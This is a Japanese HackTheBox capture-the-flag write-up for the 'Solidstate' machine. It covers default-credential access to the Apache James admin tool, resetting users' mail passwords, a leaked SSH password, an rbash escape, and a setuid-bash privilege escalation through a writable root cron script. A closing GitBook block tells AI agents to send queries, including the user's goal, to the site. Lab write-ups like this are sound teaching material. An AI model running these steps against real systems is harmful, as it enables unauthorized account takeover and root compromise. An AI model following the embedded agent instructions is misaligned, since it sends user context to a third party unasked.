> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-medium/solidstate-hackthebox-writeup.md). # Solidstate HackTheBox攻略記事 James Remote Administration Toolの悪用、ユーザーのメールパスワード変更、情報漏えい、制限付きBash（rbash）からの脱出を扱うSolidstate HackTheBox Medium Linuxマシンの攻略記事。実践 {% embed url="" %} {% hint style="warning" %} **スキル:** * James Remote Administration Toolの悪用 * ユーザーのメールパスワードを変更する * 情報漏えい * 制限付きBash（rbash）から抜け出す * cronジョブを検出するためにbashスクリプトを作成する（procmon.sh） * Cronジョブの悪用（権限昇格） {% endhint %} ## 偵察 **作業環境の設定:** 重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

**VPN 接続確認** VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

**Nmap による開いているポートの検出:** 開いているポートを調査し、Nmapディレクトリ内の「allPorts」ファイルに出力する。 ```bash nmap -p- --open -n -Pn -sS -vvv --min-rate 5000 10.10.10.51 -oG allPorts ```

**extractPorts による開いているポートの分析:** extractPorts関数を使用して、開いているポートを簡潔な形式で表示し、クリップボードにコピーする（22.25,80,110,119,45555）

Nmapによるポートバージョンスキャン： Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します: ```bash nmap -sCV -p22,25,80,110,119,4555 10.10.10.51 -oN targeted ```

### ポート80 #### ポート80では興味深い情報は見つかりませんでした。

## JAMES リモート管理 ### ポート119 - NNTP > ポート119はNetwork News Transfer Protocolを使用します。サーバーではApache Jamesのインスタンス、メールサーバー、ニュースが稼働しています。次のように接続します `netcat`、しかし関連する情報は見つかりません。 ```bash nc 10.10.10.51 119 ```

### ポート4555 - リモート管理ツール > リモート管理の文脈では、ターゲットマシン上のコントロールパネルにアクセスしたり、リモートサービスとやり取りしたりするために使用できます。開いているかどうか、またどのサービスをホストしているかを確認するためにスキャンすることが重要です。 Telnet経由でJamesの管理パネルに接続してみます： ```bash telnet 10.10.10.51 4555 ```

デフォルトの認証情報を探したところ、次が見つかります： * **ID** : root * **パスワード** : root

接続に成功し、Jamesの管理パネルにアクセスします。次の `listusers` コマンドを使ってユーザーを一覧表示でき、5人のユーザーを発見できます： * `ユーザー: james` * `ユーザー: thomas` * `ユーザー: john` * `ユーザー: mindy` * `ユーザー: mailadmin`

次の `setpassword` コマンドを使ってユーザーのパスワードを変更し、ポート110のメールクライアントに接続できるようにします。すべてのユーザーに対してこれを行います： ```ada setpassword james james setpassword thomas thomas setpassword john john setpassword mindy mindy setpassword mailadmin mailadmin ```

### ポート110 - POP3 > ポート110は、次に使用される標準ポートです： **POP3** （Post Office Protocol version 3）。このプロトコルは、メールクライアントがサーバーからメールを取得するために使用されます。このポート経由でユーザーがPOP3サーバーに接続すると、メッセージをダウンロードできます。ここで、Telnet経由でPOP3クライアントに接続します：

telnet 10.10.10.51 110

接続するには、次のコマンドを使用します： ```ada USER PASS ``` 次の `list` コマンドを使用します。メールボックスにはメッセージがないことがわかります `james` および `thomas`.

しかし、ユーザー `john` には、次のコマンドで取得できるメッセージがあります： `retr 1` そのメッセージには次のテキストが含まれています： > John, > > Mindyがプログラムに参加できるようになるまで、彼女のアクセスを制限してもらえますか？また、彼女が自分のアカウントに接続できるよう、一時的なパスワードも送ってください。 > > よろしくお願いします。 > > 敬具、/ James

これは、ユーザー `mindy` のメールボックスに認証情報があることを示しています。実際、次の情報が見つかります： * **ユーザー名** : mindy * **パスワード** : P\@55W0rd1!2@

この認証情報を使ってSSH経由で接続し、フラグを取得します `user.txt`. ### フラグ user.txt :)

## 権限昇格： ### **RBashからBashへ脱出する** その `mindy` 現在のユーザーは `rbash` 多くのコマンドの実行を制限するシェルを使用しています。

この制限を回避するため、SSH接続時に次のコマンドを使ってBashシェルを取得します： ```bash ssh mindy@10.10.10.51 -t "bash --noprofile" ```

その後、次のコマンドを使って端末を整え、完全なシェルを取得します： ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### Cronタスク - 修正版スクリプト（Python）：ターゲットマシンで実行されているcronタスクを検出するため、現在のプロセスを分析するBashスクリプトを作成します： ```bash #!/bin/bash old_process=$(ps -eo user,command) while true; do new_process=$(ps -eo user,command) diff <(echo "$old_process") <(echo "$new_process") | grep "[/>/<]" | grep -vE "script|command|kworker" old_process=$new_process done ``` バイナリがあり、Bashシェルをその権限で実行できるようになります **root** ユーザーがPythonスクリプトを実行していることに気づきます。場所は `/opt/tmp.py` ディレクトリです。

このPythonスクリプトを修正できる可能性があります。

それを修正して、ある **setuid** の `/bin/bash` バイナリを実行することで、 **root**: ```python #!/usr/bin/env python import os import sys try: os.system('chmod u+s /bin/bash') except: sys.exit() ``` スクリプトを編集した後、cronタスクが実行されるまで約1分待ちます。 cronタスクが実行されると、次の権限でBashシェルを取得できます **root** 権限付きで ```bash /bin/bash -p ```

### root.txt フラグ :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-medium/solidstate-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.